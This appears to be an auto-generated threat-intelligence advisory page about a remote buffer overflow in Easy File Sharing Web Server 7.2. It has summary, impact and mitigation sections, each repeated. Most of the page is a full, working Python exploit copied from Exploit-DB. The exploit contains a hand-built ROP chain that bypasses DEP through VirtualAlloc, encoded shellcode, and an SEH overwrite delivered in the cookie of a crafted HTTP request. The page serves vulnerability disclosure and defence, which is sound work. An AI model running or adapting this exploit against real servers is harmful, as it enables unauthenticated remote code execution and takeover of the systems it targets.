Easy File Sharing Web Server v7.2 - Buffer Overflow
Easy File Sharing Web Server v7.2 - Buffer Overflow
AI Analysis
Technical Summary
The Easy File Sharing Web Server version 7.2 suffers from a buffer overflow vulnerability that can be triggered remotely by sending maliciously crafted HTTP requests. Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, potentially overwriting adjacent memory and allowing attackers to execute arbitrary code or crash the application. This vulnerability specifically affects the web server component, which is typically exposed to internet traffic, increasing the attack surface. The exploit code, publicly available on Exploit-DB and written in Python, demonstrates how an attacker can leverage this flaw to gain unauthorized control or disrupt services. Although no official patches or updates have been released, the presence of exploit code indicates that attackers can develop or adapt attacks quickly. The vulnerability does not require authentication or user interaction, making it easier to exploit remotely. The lack of detailed CWE classification and patch information suggests limited public technical disclosure, but the exploit code provides sufficient insight into the attack vector. Organizations running Easy File Sharing Web Server 7.2 should consider this a significant risk, especially if the server is internet-facing or hosts sensitive data.
Potential Impact
If exploited, this buffer overflow vulnerability can lead to arbitrary code execution, allowing attackers to take control of the affected server. This can result in data breaches, unauthorized access to sensitive information, and potential lateral movement within the network. Additionally, exploitation can cause denial of service by crashing the web server, disrupting business operations and availability of services. The vulnerability's remote exploitability without authentication increases the risk profile, as attackers can target vulnerable servers directly over the internet. Organizations relying on Easy File Sharing Web Server 7.2 for file sharing or web hosting may face significant operational and reputational damage. The availability of exploit code lowers the barrier for attackers, potentially increasing the frequency of attacks. However, the absence of known active exploitation campaigns currently limits immediate widespread impact.
Mitigation Recommendations
Until an official patch is released, organizations should implement the following specific mitigations: 1) Immediately isolate or take offline any internet-facing Easy File Sharing Web Server 7.2 instances to prevent remote exploitation. 2) Employ network-level protections such as web application firewalls (WAFs) with custom rules to detect and block malformed HTTP requests targeting the buffer overflow. 3) Restrict access to the web server using IP whitelisting or VPNs to limit exposure to trusted users only. 4) Monitor network traffic and server logs for unusual or suspicious requests that may indicate exploitation attempts. 5) Consider migrating to alternative, actively maintained file sharing solutions with better security track records. 6) Prepare for incident response by backing up critical data and developing containment strategies. 7) Stay alert for official patches or vendor advisories and apply updates promptly once available. These targeted actions go beyond generic advice by focusing on immediate risk reduction and proactive detection tailored to this specific vulnerability.
Affected Countries
United States, Germany, United Kingdom, France, Canada, Australia, Netherlands, Japan, South Korea, India
Indicators of Compromise
- exploit-code: # Exploit title: Easy File Sharing Web Server v7.2 - Buffer Overflow # Date: 16/10/2025 # Exploit Author: Donwor # X: @real_Donwor # Discord: Donwor # Website: https://github.com/D0nw0r # Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe # Version: Easy File Sharing Web Server v7.2 # Tested on: Windows 10,11 # # Notes: # - I wanted to re-do other PoCs because I did not want to use mona rop chain, so instead I built my own for practice and I believe it can help others. # - The ROP chain was VERY challenging to build, mainly because there were a lot of limimitations when moving data between for example EAX and ESI # - based on DEP SEH buffer overflow exploit by Knaps (https://www.exploit-db.com/exploits/38829/) # - bad chars: '\x00' and '\x3b' import struct, sys, socket host = sys.argv[1] port = 80 size = 5000 rop = struct.pack("<I", 0x1001ba81) # # MOV EAX,EBP # POP EDI # POP ESI # POP EBP # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<I", 0x41414141) # junk for pop edi rop += struct.pack("<I", 0x41414141) # junk for pop edi rop += struct.pack("<I", 0x41414141) # junk for ebp rop += struct.pack("<I", 0x1001db66) # : # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<I", 0xffffeff8) # pop esi to align eax, will point after the hybjks rop += struct.pack("<I", 0x10022f45) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x61c0a798) # XCHG EAX,EDI # RETN ) rop += struct.pack("<L", 0x1001d626) # : # XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x10021a3e) # (RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} ## Save ESP on ESI and EDI rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN rop += struct.pack("<L", 0x1004D1FC) # VirtualAlloc Addr on IAT rop += struct.pack("<L", 0x1002248c) # deref VirtualAlloc : # MOV EAX,DWORD PTR [EAX] # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001a8e3) # put virtualalloc addr on stack # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x41414141) # junk pop esi rop += struct.pack("<L", 0x41414141) # junk pop ebx rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi(RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # increase esi to point 4 bytes more (next arg) (RVA : 0x0001715d) : # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # # Virtual Alloc on stack # Esi now has "SRP" we need to fill it # EDI still points to orignal one (Virtual alloc) rop += struct.pack("<L", 0x1001f595) # Put SRP addr on eax MOV EAX,ESI # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x41414141) # junk pop esi rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN rop += struct.pack("<L", 0x10019457) # eax now points to x more (can be changed) rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001e80b) # This immedeately patches SRP and VirtualAlloc 1st arg! MOV DWORD PTR [ESI+8],EAX # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x41414141) # junk pop esi # Virtual alloc | SRP | Shellcode Addr # edi -> virtualalloc rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # increase esi to point 12 bytes more (->dwsize) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001c15d) # XOR EAX,EAX # RETN) # rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN rop += struct.pack("<L", 0xffffffff) # -1 rop += struct.pack("<L", 0x100231d1) # will turn eax into 1, second arg of virtualalloc NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) # rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x41414141) # junk pop esi rop += struct.pack("<L", 0x41414141) # junk pop ebx #VirtualAlloc | SRP | ShellcodeAddr | dwSize # edi -> virtualalloc rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # increase esi to point 16 bytes more (->flAllocation Type) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN rop += struct.pack("<I", 0xffffefff) # value to pop eax now rop += struct.pack("<L", 0x100231d1) # will turn eax into 1002 NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) # rop += struct.pack("<I", 0x1001b7ca)# eax now 1000 # DEC EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x41414141) # junk pop esi rop += struct.pack("<L", 0x41414141) # junk pop ebx #VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType # edi -> virtualalloc rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # increase esi to point 20 bytes more (->flProtect Type) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x1001715d) # rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN rop += struct.pack("<I", 0xffffffbf) # : -41 rop += struct.pack("<L", 0x100231d1) # will turn eax into 41 NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) # rop += struct.pack("<I", 0x1001b7ca)# eax now 40 # DEC EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} rop += struct.pack("<L", 0x41414141) # junk pop esi rop += struct.pack("<L", 0x41414141) # junk pop ebx #VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType | flProtect # edi -> virtualalloc rop += struct.pack("<L", 0x61c0a798) # # XCHG EAX,EDI # RETN rop += struct.pack("<L", 0x61c07ff8) # XCHG EAX,ESP # RETN # Just switch execution now, move the stack pointer to EDI (VirtualAlloc) sc = b"" sc += b"\x81\xc4\x24\xfa\xff\xff" # add esp , -1500 sc += b"\xbd\x04\xae\x2a\x98\xdb\xce\xd9\x74\x24\xf4\x5b" sc += b"\x31\xc9\xb1\x5e\x83\xeb\xfc\x31\x6b\x11\x03\x6b" sc += b"\x11\xe2\xf1\x52\xc2\x17\xf9\xaa\x13\x48\xc8\x78" sc += b"\x9a\x6d\x4e\xf6\xcf\x5d\x05\x5a\xfc\x16\x4b\x4f" sc += b"\x77\x5a\x43\x60\x30\xd1\xb5\x4f\xc1\xd7\x79\x03" sc += b"\x01\x79\x05\x5e\x56\x59\x34\x91\xab\x98\x71\x67" sc += b"\xc1\x75\x2f\xf3\x7b\x9a\x44\x41\x40\xcd\x5b\x96" sc += b"\x33\xb1\x23\x93\x84\x46\x9f\x9a\xd4\xf7\x94\xc5" sc += b"\xf4\x7c\xe2\xed\xf5\x51\x77\xc4\x82\x69\x3e\xe6" sc += b"\x95\x19\xf4\x83\x6b\xc8\xc5\x53\xc7\x35\xea\x59" sc += b"\x19\x71\xcc\x81\x6c\x89\x2f\x3f\x77\x4a\x52\x9b" sc += b"\xf2\x4d\xf4\x68\xa4\xa9\x05\xbc\x33\x39\x09\x09" sc += b"\x37\x65\x0d\x8c\x94\x1d\x29\x05\x1b\xf2\xb8\x5d" sc += b"\x38\xd6\xe1\x06\x21\x4f\x4f\xe8\x5e\x8f\x37\x55" sc += b"\xfb\xdb\xd5\x80\x7b\x24\x26\xad\x21\xb3\xeb\x60" sc += b"\xda\x43\x63\xf2\xa9\x71\x2c\xa8\x25\x3a\xa5\x76" sc += b"\xb1\x4b\xa1\x88\x6d\xf3\xa1\x76\x8e\x04\xe8\xbc" sc += b"\xda\x54\x82\x15\x63\x3f\x52\x99\xb6\xaa\x58\x0d" sc += b"\xf9\x83\x64\xc7\x91\xd1\x94\xd6\xda\x5f\x72\x88" sc += b"\x4c\x30\x2a\x69\x3d\xf0\x9a\x01\x57\xff\xc5\x32" sc += b"\x58\xd5\x6e\xd8\xb7\x80\xc7\x75\x21\x89\x93\xe4" sc += b"\xae\x07\xde\x27\x24\xa2\x1f\xe9\xcd\xc7\x33\x1e" sc += b"\xaa\x27\xcb\xdf\x5f\x28\xa1\xdb\xc9\x7f\x5d\xe6" sc += b"\x2c\xb7\xc2\x19\x1b\xcb\x04\xe5\xda\xfa\x7f\xd0" sc += b"\x48\x43\x17\x1d\x9d\x43\xe7\x4b\xf7\x43\x8f\x2b" sc += b"\xa3\x17\xaa\x33\x7e\x04\x67\xa6\x81\x7d\xd4\x61" sc += b"\xea\x83\x03\x45\xb5\x7c\x66\xd5\xb2\x83\xf5\xf2" sc += b"\x1a\xec\x05\x43\x9b\xec\x6f\x43\xcb\x84\x64\x6c" sc += b"\xe4\x64\x85\xa7\xad\xec\x0c\x26\x1f\x8c\x11\x63" sc += b"\xc1\x10\x12\x80\xda\xa3\x69\xe9\xdd\x43\x8e\xe3" sc += b"\xb9\x43\x8f\x0b\xbc\x78\x46\x32\xca\xbf\x5b\x01" sc += b"\xd5\x5d\x71\x7c\x7e\xf8\x10\x3d\xe3\xfb\xcf\x02" sc += b"\x1a\x78\xe5\xfa\xd9\x60\x8c\xff\xa6\x26\x7d\x72" sc += b"\xb6\xc2\x81\x21\xb7\xc6" padding = b"\x45" * 4 # 4 bytes of padding because of the alignment, the add eax,20 instructions will make it so stack points 4 bytes after rop += padding rop += sc rop += b"\x42" * (1244 - len(rop)) nseh = struct.pack("<I", 0x43434343) seh = struct.pack("<I", 0x10022877) # add esp, 1004; ret eax_offset = 4183 buf = b"A" * 2811 # rop chain start after add esp 1004 buf += rop buf += b"A" * (4059 - len(buf)) #nseh buf += nseh + seh buf += b"A" * (eax_offset - len(buf)) buf += struct.pack("<I", 0xffffffff) #" #make sure eax always trigger exception buf += b"A" * (size - len(buf)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host ,port)) httpreq = ( b"GET /changeuser.ghp HTTP/1.1\r\n" b"User-Agent: Mozilla/4.0\r\n" b"Host:" + host.encode() + b":" + str(port).encode() + b"\r\n" b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" b"Accept-Language: en-us\r\n" b"Accept-Encoding: gzip, deflate\r\n" b"Referer: http://" + host.encode() + b"/\r\n" b"Cookie: SESSIONID=6771; UserID=" + buf + b"; PassWD=;\r\n" b"Conection: Keep-Alive\r\n\r\n" ) # Send payload to the server try: if len(sys.argv) < 2: print("[!] Usage: python3 exploit.py <IP of Server>") sys.exit(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(httpreq) s.close() print("[+] Packet sent!") except: print("[!] Could not connect to server / Exploit failed") sys.exit(1) sys.exit(0)
Easy File Sharing Web Server v7.2 - Buffer Overflow
Description
Easy File Sharing Web Server v7.2 - Buffer Overflow
AI-Powered Analysis
Technical Analysis
The Easy File Sharing Web Server version 7.2 suffers from a buffer overflow vulnerability that can be triggered remotely by sending maliciously crafted HTTP requests. Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, potentially overwriting adjacent memory and allowing attackers to execute arbitrary code or crash the application. This vulnerability specifically affects the web server component, which is typically exposed to internet traffic, increasing the attack surface. The exploit code, publicly available on Exploit-DB and written in Python, demonstrates how an attacker can leverage this flaw to gain unauthorized control or disrupt services. Although no official patches or updates have been released, the presence of exploit code indicates that attackers can develop or adapt attacks quickly. The vulnerability does not require authentication or user interaction, making it easier to exploit remotely. The lack of detailed CWE classification and patch information suggests limited public technical disclosure, but the exploit code provides sufficient insight into the attack vector. Organizations running Easy File Sharing Web Server 7.2 should consider this a significant risk, especially if the server is internet-facing or hosts sensitive data.
Potential Impact
If exploited, this buffer overflow vulnerability can lead to arbitrary code execution, allowing attackers to take control of the affected server. This can result in data breaches, unauthorized access to sensitive information, and potential lateral movement within the network. Additionally, exploitation can cause denial of service by crashing the web server, disrupting business operations and availability of services. The vulnerability's remote exploitability without authentication increases the risk profile, as attackers can target vulnerable servers directly over the internet. Organizations relying on Easy File Sharing Web Server 7.2 for file sharing or web hosting may face significant operational and reputational damage. The availability of exploit code lowers the barrier for attackers, potentially increasing the frequency of attacks. However, the absence of known active exploitation campaigns currently limits immediate widespread impact.
Mitigation Recommendations
Until an official patch is released, organizations should implement the following specific mitigations: 1) Immediately isolate or take offline any internet-facing Easy File Sharing Web Server 7.2 instances to prevent remote exploitation. 2) Employ network-level protections such as web application firewalls (WAFs) with custom rules to detect and block malformed HTTP requests targeting the buffer overflow. 3) Restrict access to the web server using IP whitelisting or VPNs to limit exposure to trusted users only. 4) Monitor network traffic and server logs for unusual or suspicious requests that may indicate exploitation attempts. 5) Consider migrating to alternative, actively maintained file sharing solutions with better security track records. 6) Prepare for incident response by backing up critical data and developing containment strategies. 7) Stay alert for official patches or vendor advisories and apply updates promptly once available. These targeted actions go beyond generic advice by focusing on immediate risk reduction and proactive detection tailored to this specific vulnerability.
Technical Details
- Edb Id
- 52484
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Easy File Sharing Web Server v7.2 - Buffer Overflow
# Exploit title: Easy File Sharing Web Server v7.2 - Buffer Overflow # Date: 16/10/2025 # Exploit Author: Donwor # X: @real_Donwor # Discord: Donwor # Website: https://github.com/D0nw0r # Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe # Version: Easy File Sharing Web Server v7.2 # Tested on: Windows 10,11 # # Notes: # - I wanted to re-do other PoCs because I did not want to use mona rop chain, so instead I built my own for practice and I believe it c... (13580 more characters)
Threat ID: 69a792c9d1a09e29cbc1c30f
Added to database: 3/4/2026, 2:02:49 AM
Last enriched: 3/4/2026, 2:03:31 AM
Last updated: 3/4/2026, 7:16:07 AM
Views: 6
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